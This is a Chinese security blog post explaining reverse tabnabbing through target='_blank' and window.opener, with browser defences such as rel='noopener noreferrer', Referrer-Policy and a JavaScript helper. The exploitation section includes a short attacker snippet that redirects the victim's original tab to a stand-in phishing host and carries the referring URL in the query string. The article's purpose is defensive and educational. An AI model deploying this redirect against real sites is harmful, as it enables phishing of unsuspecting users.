危险的 target="_blank" 与“opener”

作者:jinliming2@知道创宇404实验室

发表时间:2018年3月7日

原文:http://mp.weixin.qq.com/s/T4jQUdS-rar7hr2EWilJrw

在网页中使用链接时,如果想要让浏览器自动在新的标签页打开指定的地址,通常的做法就是在 a 标签上添加 target="_blank" 属性。

然而,就是这个属性,为钓鱼攻击者带来了可乘之机。

起源

parentopener

在说 opener 之前,可以先聊聊 <iframe> 中的 parent

我们知道,在 <iframe> 中提供了一个用于父子页面交互的对象,叫做 window.parent,我们可以通过 window.parent 对象来从框架中的页面访问父级页面的 window

openerparent 一样,只不过是用于 <atarget="_blank"> 在新标签页打开的页面的。通过 <atarget="_blank"> 打开的页面,可以直接使用 window.opener 来访问来源页面的 window 对象。

同域与跨域

浏览器提供了完整的跨域保护,在域名相同时, parent 对象和 opener 对象实际上就直接是上一级的 window 对象;而当域名不同时, parentopener 则是经过包装的一个 global 对象。这个 global 对象仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

<iframe> 中,提供了一个 sandbox 属性用于控制框架中的页面的权限,因此即使是同域,也可以控制 <iframe> 的安全性。

利用

如果,你的网站上有一个链接,使用了 target="_blank",那么一旦用户点击这个链接并进入一个新的标签,新标签中的页面如果存在恶意代码,就可以将你的网站直接导航到一个虚假网站。此时,如果用户回到你的标签页,看到的就是被替换过的页面了。

详细步骤

1.在你的网站 https://example.com 上存在一个链接: html<a href="https://an.evil.site"target="_blank">进入一个“邪恶”的网站</a>

2.用户点击了这个链接,在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判断用户的来源。

并且,这个网站上包含着类似于这样的 JavaScript 代码:

consturl=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'+url);

3.此时,用户在继续浏览这个新的标签页,而原来的网站所在的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F

4.恶意网站 https://a.fake.site 根据 Query String 来伪造一个足以欺骗用户的页面,并展示出来(期间还可以做一次跳转,使得浏览器的地址栏更具有迷惑性)。

5.用户关闭 https://an.evil.site 的标签页,回到原来的网站………………已经回不去了。

上面的攻击步骤是在跨域的情况下的,在跨域情况下, opener 对象和 parent 一样,是受到限制的,仅提供非常有限的属性访问,并且在这仅有的几个属性中,大部分也都是不允许访问的(访问会直接抛出 DOMException)。

但是与 parent 不同的是,在跨域的情况下, opener 仍然可以调用 location.replace 方法而 parent 则不可以

如果是在同域的情况下(比如一个网站上的某一个页面被植入了恶意代码),则情况要比上面严重得多。

防御

<iframe> 中有 sandbox 属性,而链接,则可以使用下面的办法:

1. Referrer Policy 和 noreferrer

上面的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上可以在 HTTP 的响应头中增加 ReferrerPolicy 头来保证来源隐私安全。

ReferrerPolicy 需要修改后端代码来实现,而在前端,也可以使用 <a> 标签的 rel 属性来指定 rel="noreferrer" 来保证来源隐私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

但是要注意的是:即使限制了 referer 的传递,仍然不能阻止原标签被恶意跳转。

2. noopener

为了安全,现代浏览器都支持在 <a> 标签的 rel 属性中指定 rel="noopener",这样,在打开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null

<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

3. JavaScript

noopener 属性看似是解决了所有问题,但是...浏览器的兼容性问题...

可以看到,现在绝大多数浏览器都已经兼容了 rel="noopener" 属性了。但是,为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器,只有 noopener 属性还是远远不够的。

这时,就只能请出下面这段原生 JavaScript 来帮忙了。

"use strict";
function openUrl(url) {
 var newTab = window.open();
 newTab.opener = null;
 newTab.location = url;
}

推荐

首先,在网站中的链接上,如果使用了 target="_blank",就要带上 rel="noopener",并且建议带上 rel="noreferrer"。类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

当然,在跳转到第三方网站的时候,为了 SEO 权重,还建议带上 rel="nofollow",所以最终类似于这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

性能

最后,再来说说性能问题。

如果网站使用了 <atarget="_blank">,那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的 JavaScript 脚本,那么原始标签页也会受到影响,会出现卡顿的现象(当然不至于卡死)。

而如果在链接中加入了 noopener,则此时两个标签页将会互不干扰,使得原页面的性能不会受到新页面的影响。

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

编辑于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏逸鹏说道

大公司都有哪些开源项目之腾讯

1.WeUI 为微信Web服务量身设计 WeUI 是一套同微信原生视觉体验一致的基础样式库,由微信官方设计团队为微信 Web 开发量身设计,可以令用户的使用感知...

4466
来自专栏程序员宝库

教你在不使用框架的情况下也能写出现代化 PHP 代码

我为你们准备了一个富有挑战性的事情。接下来你们将以无框架的方式开启一个项目之旅。 首先声明, 这篇并非又臭又长的反框架裹脚布文章。也不是推销非原创(https:...

2945
来自专栏更流畅、简洁的软件开发方式

【自然框架】之通用权限的Demo(一):角色的添加和修改

      非常抱歉,我是一个靠激情来工作的人,有心情做什么多快,没心情的时候什么都不爱做。最近很烦,所以速度也很慢。原本打算周一拿出来Demo的,结果延迟了现...

2499
来自专栏张戈的专栏

Linux系统防CC攻击自动拉黑IP增强版Shell脚本

最新更新:张戈博客已推出功能更强大的轻量级 CC 攻击防御脚本工具 CCKiller==>传送门 前天没事写了一个防 CC 攻击的 Shell 脚本,没想到这么...

3144
来自专栏黑白安全

如何绕过Windows Server 2008 R2上的身份验证

在本文中,我们将了解在Windows Server 2008 R2安装上绕过身份验证和重置管理员密码是多么容易。此技术要求我们对运行Windows服务器的计算机...

1361
来自专栏美团技术团队

MTDDL——美团点评分布式数据访问层中间件

背景 2016年Q3季度初,在美团外卖上单2.0项目上线后,商家和商品数量急速增长,预估商品库的容量和写峰值QPS会很快遇到巨大压力。随之而来也会影响线上服务的...

4305
来自专栏陈本布衣

Java环境变量,真的还有必要配吗?

  作为年龄上堪称老鸟而技术上却是菜鸟的老菜鸟,为了祖国的编程事业,不惜拿出一个月工资,淘了一台配置稍高的二手笔记本,打算与老笔记本中的撸啊撸片彻底说再见,誓要...

4308
来自专栏腾讯移动品质中心TMQ的专栏

Crash之防测漏篇

做Android/iOS测试也有一段时间了,随着项目壮大,版本crash问题也越来越突出。如何有效地对crash进行预防拦截呢?请看下文。 1 APP闪退背后...

2168
来自专栏FreeBuf

如何写一个你自己的Web集群式渗透系统

一个功能完善可以自定义的渗透系统可以帮助你省下很多的时间来思考目标站点的弱点,本文章就是教你怎么搭建一个Web入口的集群式渗透系统。 0×00 介绍 不知道大...

1966
来自专栏日常学python

这次给大家带来复杂点的ajax请求该如何破?

公众号由于私人原因差不多一个月没有更新了,首先还是得感谢没有你们,没有取关我,很开心。其次我会在以下的两个月时间为大家输出高质量的文章,让你们能学到东西的同时,...

1213

扫码关注云+社区